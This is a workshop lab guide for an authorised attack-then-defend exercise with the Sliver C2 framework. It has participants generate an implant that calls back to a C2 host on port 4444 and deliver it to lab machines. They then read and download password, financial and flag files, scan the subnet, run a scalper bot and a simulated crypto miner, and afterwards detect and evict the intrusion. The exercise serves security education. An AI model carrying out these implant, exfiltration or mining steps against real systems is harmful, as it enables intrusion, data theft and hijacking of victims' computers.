OPERATION: BOTNET

station your station Β· your own private command-and-control Β· πŸ“„ printable version
πŸ’‘ Click any green command to copy it, then paste it into your terminal and press Enter. Work through the steps in order β€” you're driving a real C2.

β–ΈWhat you're about to do

Over the next 20 minutes you'll build a botnet, command it, and then turn around and defeat it β€” you play both sides against the same machines. It runs in three acts:

πŸ”’ This is a controlled, authorized exercise. The exact skills you build attacking here are the ones defenders use every day β€” the whole point is to understand the attacker well enough to beat them.

β–ΈHow to read the commands

πŸ“‹ Copy-paste: click any command to copy it, then paste into your terminal with right-click β†’ Paste (or Shift+Insert). Ctrl+Shift+V may not be bound.

This lab uses your terminal two ways:

πŸ–₯️ Keep TWO terminals open side by side. One runs sliver-client β€” that's your Sliver console (sliver > prompt). The other is a plain shell (normal $ prompt). Any command tagged ⌨ PLAIN TERMINAL goes in the plain shell β€” if you paste an ssh command into the Sliver console you'll get unknown command "ssh".

Every ssh line reads the same way. Here's ssh -t nuc example-command, part by part:

ssh  -t  nuc  example-command
β”‚    β”‚   β”‚    └─ what to run β€” the mission itself
β”‚    β”‚   └────── your lab: a saved shortcut for "you, on the lab server"
β”‚    └────────── give me a live screen, so the display animates
└─────────────── connect securely to the lab server
Section 1 of 3 Β· Red team

Attack β€” become the botnet

Compromise the network, harvest it, and put the swarm to work. You're the operator.

00Take the controls

You've gained a foothold. Out there sit a handful of machines β€” quiet, idle, waiting. Open a terminal and connect to your command-and-control server:

sliver-client

You drop straight into your private Sliver console. Every command below runs here unless it says otherwise.

01Survey your empire recon

Who's already yours? Ask the C2 for its live agents.

sessions

Nothing yet β€” an empty throne room. Time to change that.

02Check your channel listener

Your bots need somewhere to phone home β€” and your C2's encrypted HTTPS channel is already up and listening, pre-positioned for you. Confirm it's live:

jobs

You should see an https job on port 4444 β€” your dead-drop is live. (Odd port, isn't it? Remember that.)

03Forge the weapon payload

Now you build the actual malware. generate compiles a brand-new implant β€” a small program (a RAT, or "Remote Access Trojan") that, once it's running on a victim machine, quietly opens a connection back to your C2 server and waits for your orders. Sliver bakes a fresh, scrambled binary every time, so no two implants look alike.

generate --http https://c2:4444 --os linux --arch amd64 --save implants/implant

Piece by piece β€” what each part of the command is asking for:

generate  --http https://c2:4444  --os linux  --arch amd64  --save implants/implant
β”‚         β”‚                       β”‚           β”‚             └─ write the finished binary here
β”‚         β”‚                       β”‚           └─────────────── for a 64-bit Intel/AMD CPU
β”‚         β”‚                       └─────────────────────────── built to run on Linux
β”‚         └─────────────────────────────────────────────────── how it phones home: HTTPS to c2:4444
└───────────────────────────────────────────────────────────── compile a fresh implant

⚠ The host is c2 β€” lowercase c + the number 2. Clicking the command above copies it right every time. ~40s to build; wait for Implant saved.

04Deliver it delivery

You built a weapon in the last step, but right now it's just a file β€” harmless until it actually runs on a victim. Getting malware onto targets is its own challenge: in the real world attackers do it with phishing emails, booby-trapped downloads, infected USB sticks, or by exploiting a bug in software the victim already runs.

In this lab the target workstations are primed to fetch and run whatever payload you stage β€” so this single command stands in for that whole delivery + execution step. It takes the implant you just built and pushes it out to the fleet, and each machine runs it:

ssh nuc deploy

The instant a machine runs your implant, it phones home to your C2 on port 4444 β€” and it's yours. You'll see:

delivering implant 'YOUR_IMPLANT' to the fleet ...
[+] 8 targets infected β€” run 'sessions' in your console to see your botnet

05Watch them fall infection

Your implant is out and the machines are calling home. Back in your Sliver console, list them:

sessions

06Pick a victim mission Β· loot

Every bot is a real corporate workstation β€” stuffed with secrets. Pick one to ride: list your bots, copy a session ID, and take the wheel.

sessions use <paste a session ID>

07Rifle the workstation recon

Snoop like an intruder. Who lives here, and what did they leave lying around?

ls /home ls /home/mchen cat /home/mchen/Documents/passwords.txt

08Crown jewels + exfil exfiltrate

Finance secrets, payroll PII, and a flag the admin hid in root's home. Find them β€” then pull them home.

cat /home/mchen/Documents/Q4-Financials-CONFIDENTIAL.csv ls /root download /root/.flag.txt lab-loot/flag.txt

09Case the network mission Β· recon

Before you unleash the swarm, see what it can reach. A single compromised box can quietly map the whole internal network β€” every other machine, and the doors left open on them. Turn your bot loose as a scanner:

ssh -t nuc lab-scan

It sweeps its own subnet and reports back what's listening:

NETWORK RECON β€” sweeping 10.66.N.0/24 …
  10.66.N.10   4444/tcp open   ← your C2  (odd port!)
  10.66.N.20   8000/tcp open   ← a web store
  ────────────────────────────────
  2 hosts up on the network

πŸ”Ž This is reconnaissance β€” step one of how a botnet spreads and picks targets. It just found a store to hit… and your own C2 sitting on port 4444, a port nothing normal uses. File that away for the blue-team half.

Now put the swarm to work on what you found.

10Scalp the drop mission Β· scalper bots

Now watch the scalper attack on a real storefront β€” not the command line. A hyped Vapor Controller just dropped: 5 units, first-come-first-served. Open the shop (opens in a new browser tab):

πŸ›’ Open the shop β†—

Round 1 β€” try to buy one like an honest human.

πŸ›’ This is the attack. Same machinery as GPU, sneaker, concert-ticket, and Grinch bots: software that slams "buy" thousands of times a second clears a limited drop before a human can blink. That's why you can never get one.

Round 2 β€” the only way to win is to cheat. You can't beat the bots by hand, and you can't do it from the web page either β€” winning takes a bot, and you deploy bots from your terminal. Arm your buy-bot so it camps the endpoint and fires the instant the drop opens:

ssh -t nuc lab-scalp-win

Your pre-positioned bot grabs unit #1 before any human could react; the rest of the swarm scoops up what's left:

VAPOR CONTROLLER DROP β€” 5 units
  #1  πŸ† YOU (your bot)      3 ms
  #2  πŸ€– bot               47 ms
  #3  πŸ€– bot               58 ms
  ─────────────────────────────
  πŸ† YOU WON a controller β€” your bot was already there.

πŸ† Sit with that: the only way you got a Vapor Controller was by becoming a scalper yourself β€” deploying a bot from the command line. That's the whole broken economy of hyped drops.

11Steal the swarm's compute mission Β· mining

The finale. Turn every bot into a crypto miner and put the whole swarm to work burning someone else's electricity. Fire it from a second terminal tab β€” leave it running while you move on to Detect; press Ctrl-C whenever you want to stop it early:

ssh -t nuc lab-mine

Watch the stolen compute climb across your nodes β€” it runs for 5 minutes (or until you Ctrl-C):

SWARM MINING β€” 8 nodes      (auto-stops in 4:52 Β· Ctrl-C to stop)
  bot-1   β–ˆβ–ˆβ–ˆβ–ˆβ–‘β–‘β–‘β–‘β–‘β–‘β–‘β–‘    68 MH/s
  bot-2   β–ˆβ–ˆβ–ˆβ–ˆβ–‘β–‘β–‘β–‘β–‘β–‘β–‘β–‘    67 MH/s
  bot-3   β–ˆβ–ˆβ–ˆβ–ˆβ–‘β–‘β–‘β–‘β–‘β–‘β–‘β–‘    69 MH/s
  bot-4   β–ˆβ–ˆβ–ˆβ–ˆβ–‘β–‘β–‘β–‘β–‘β–‘β–‘β–‘    66 MH/s
  ────────────────────────────────
  TOTAL                  538 MH/s

πŸ”₯ The lesson β€” "scorched earth": here it burns for 5 minutes (or until you kill it) and stops. In a real breach it wouldn't. A real miner runs relentlessly β€” throttled just low enough to go unnoticed, draining the victim's power and grinding their hardware for weeks, until a human finds it and kills it. Persistent, parasitic, invisible until you go looking.

That hidden, relentless miner β€” and the odd port your bots phone home on β€” are exactly what the Detect stage hands you to hunt down next. β†’

Section 2 of 3 Β· Blue team

Detect β€” the botnet is loose. Hunt it.

Flip sides. Everything you just did left traces on the machines. Get onto one and find them. The commands below run at the workstation's own shell prompt (a #), not ssh -t nuc ….

01Get on the box incident response

Your monitoring flagged one workstation β€” mchen's PC β€” running hot and slow. Drop onto it and take a look for yourself.

πŸ–₯️ Open a THIRD terminal tab for this. Leave lab-mine running in the second tab so the swarm keeps burning CPU while you hunt it β€” don't Ctrl-C the miner to make room.

ssh -t nuc defend

You now have a real shell on the compromised machine β€” the prompt turns into a #. Everything below runs here. Type exit when you're done on the box.

02What's eating the machine? triage

The classic symptom of a mining compromise is a machine that suddenly runs hot, loud, and sluggish β€” because something is secretly maxing out the processor to mine cryptocurrency for the attacker. Let's catch it. This lists every running program and sorts them so the biggest CPU hog is on top:

ps -eo pid,pcpu,args --sort=-pcpu | head

Read the output left to right β€” you'll see something like this:

  PID   %CPU  COMMAND
  1286  39.1  sh -c ' while :; do i=0; while [ "$i" -lt 200000 ]; do i=$((i+1)); done; done '   ← 🚩
     1   0.0  /sbin/init
   657   0.0  sh
   712   0.0  sleep 30

How to pick out the bad one:

πŸ”Ž Notice you caught it by what it does β€” pegging the CPU β€” not by its name. Write down the number in the first column: that's its PID (process ID). You'll hand that exact number to the kill command on the Defend side to stop the miner. ↓ Next: find out who this machine is talking to.

03Who is it talking to? network

Compromised boxes phone home. List this machine's live outbound connections:

ss -tnp

🚩 There's an established connection to port 4444 β€” a port no normal app uses. ss even names the process holding it: users:(("i",pid=1)). That's the C2 beacon β€” the implant reporting back to its server. The odd port is the giveaway.

04Name the malware attribution

Two clues, one culprit. Pull the process list and connect them:

ps aux

The odd little process (i) holding the :4444 beacon is the implant β€” the RAT you deployed in Section 1. The miner is its handiwork. You've found the intrusion: a beacon on a strange port, and a miner it launched.

🎭 Notice you didn't catch it by its name β€” i tells you nothing; the attacker made sure of that. You caught it by its behavior: pinned CPU and a live connection heading out. That's the tell you can always trust.

05What did they touch? scope

Before cleaning up, scope the damage β€” what did the intruder have their hands on?

ls -la /home/mchen cat /root/.flag.txt

The same secrets you exfiltrated as the attacker β€” now seen from the victim's side. You've detected the whole break-in: entry, C2 beacon, miner, and stolen data. Section 3 β€” Defend is next: evict the malware and prove the box is clean. β†’

Section 3 of 3 Β· Blue team

Defend β€” evict the intruder

You found it: a miner burning the CPU, and a C2 beacon on an odd port. Now clean the machine. Stay in the same shell you've been hunting in (the # prompt).

01Kill the miner contain

Stop the bleeding first. Kill the miner using the PID you noted back in Detect (that first-column number). Forgot it? Re-run ps -eo pid,pcpu,args --sort=-pcpu | head and grab the PID of the ~40% process again. Then kill it β€” paste its PID after the command:

kill -9 <the miner's PID>

Confirm it worked β€” run the same check and look at the %CPU column:

ps -eo pid,pcpu,args --sort=-pcpu | head

The 40% CPU hog is gone β€” everything's back near 0.0. The stolen compute stops. But the box is still infected β€” the implant is still phoning home. Cut that next.

02Cut the C2 contain Β· firewall

The implant beacons out to its server on port 4444. Add a firewall rule that drops any traffic to that port β€” severing the channel without taking the machine down:

iptables -A OUTPUT -p tcp --dport 4444 -j DROP

What each piece does: -A OUTPUT append to the outbound chain Β· -p tcp --dport 4444 match TCP headed for port 4444 Β· -j DROP silently discard it. The beacon's packets now go nowhere.

03Confirm the box is clean verify

Never trust β€” verify. List your firewall rules to confirm the block is live:

iptables -L OUTPUT --line-numbers

πŸ›‘οΈ You'll see your DROP rule on dpt:4444. The implant can't reach its server anymore β€” back on the attacker's C2, this bot goes dark. Miner dead, C2 cut, machine still up. You've evicted the intrusion.

You cleaned this box β€” that's reactive defense, after the break-in. Leave the box (exit); next you'll stop an attack before it lands. (Undo the firewall rule anytime with iptables -D OUTPUT 1.)

04Harden the store proactive defense

Killing the miner and cutting the C2 were reactive β€” you were mopping up after a break-in that already happened. The best defense stops the attack from working in the first place. So let's go back to the Vapor Controller shop β€” the drop the scalper bots snatched out from under you in Section 1, where you couldn't win no matter how fast you clicked β€” and fix it so the bots can't win either.

Why did the bots win before? Because buying was a single, instant click they could fire thousands of times a second, and raw speed always beats a human hand. So don't try to out-race them β€” change the rules of checkout. This command switches on a queue, a virtual waiting-room: now, to buy, you first have to take a numbered ticket and wait your turn for a moment before the store will accept the purchase. It's the same trick Steam, Ticketmaster, and every big drop use.

ssh -t nuc lab-harden

πŸ›‘οΈ Sit with why this works. A scalper bot is built to do one thing as fast as possible β€” spam "buy." It never pauses to take a ticket and wait its turn, so the store just turns it away at the door. A real person waits naturally, so a person gets through. You didn't block one bot by name or address; you simply required a bit of behavior that only a real customer bothers with. Next, prove it works. ↓

05Re-run the attack verify

Time to prove the fix. Turn the same scalper swarm loose on the shop again β€” the exact bot flood that shut you out of the drop back in Section 1 β€” only this time the store's queue is up. Fire it from your terminal and watch the outcome flip:

ssh -t nuc lab-scalp
VAPOR CONTROLLER DROP β€” 5 units
  #1  πŸ§‘ YOU (human)     0 ms
  ─────────────────────────────
  πŸ›‘ the queue turned the flood away β€” bots that got through: 0
  πŸ† YOU got one. The store fought back, and a human finally won.

πŸ† Same bots, same flood β€” but the queue turned them all away, and a human finally won. That's the arms race behind every hyped drop: raw speed loses to a defense that asks for something only a real customer can do.

You beat the bots β€” but notice how. You didn't ban a single one. Why not? ↓

06Why not just ban the bots? the takeaway

Tempting answer: you saw the bots' names in the scoreboard β€” why not just block their IP addresses and be done? Because against a botnet, there's no fixed set of bad IPs to ban. Block one and the attacker just uses another β€” a botnet's whole point is an endless, rotating pool of machines. You'd be banning forever and always one step behind.

That's why the queue worked and a ban list wouldn't. Banning asks "who is it?" β€” and the attacker answers by simply being someone else on the next request, which costs them nothing. The queue asks "can you behave like a real customer?" β€” take a ticket, wait your turn β€” and that is expensive to fake at scale, because it costs real, human-speed effort on every single purchase.

🧠 The rule of thumb: against a distributed attacker, defend on behavior, not identity. Who they are is cheap for them to change; how a human acts is not.

🏁Finish that's the whole lab

🏁 That's the whole lab β€” attack β†’ detect β†’ defend, on the same machines, by the same person. And one idea 🎭 ran through all of it: in Section 1 you changed what you looked like β€” odd ports, a nameless implant β€” and Sections 2 and 3 proved it didn't matter. Identity is cheap to change; behavior isn't. That's the whole game, on offense and defense.

πŸ”— The real tools β€” go deeper. None of this is magic or a secret in-house hack; the whole lab is built from public, open-source tools that professional red teams and defenders use for real. Want to dig deeper or build your own lab? Start here:

🌐 These live on the public internet, so they may not open from the lab network β€” bookmark or photograph them to explore later. (The victim workstations, the "store", and the scalper bots are custom pieces we built for this workshop.)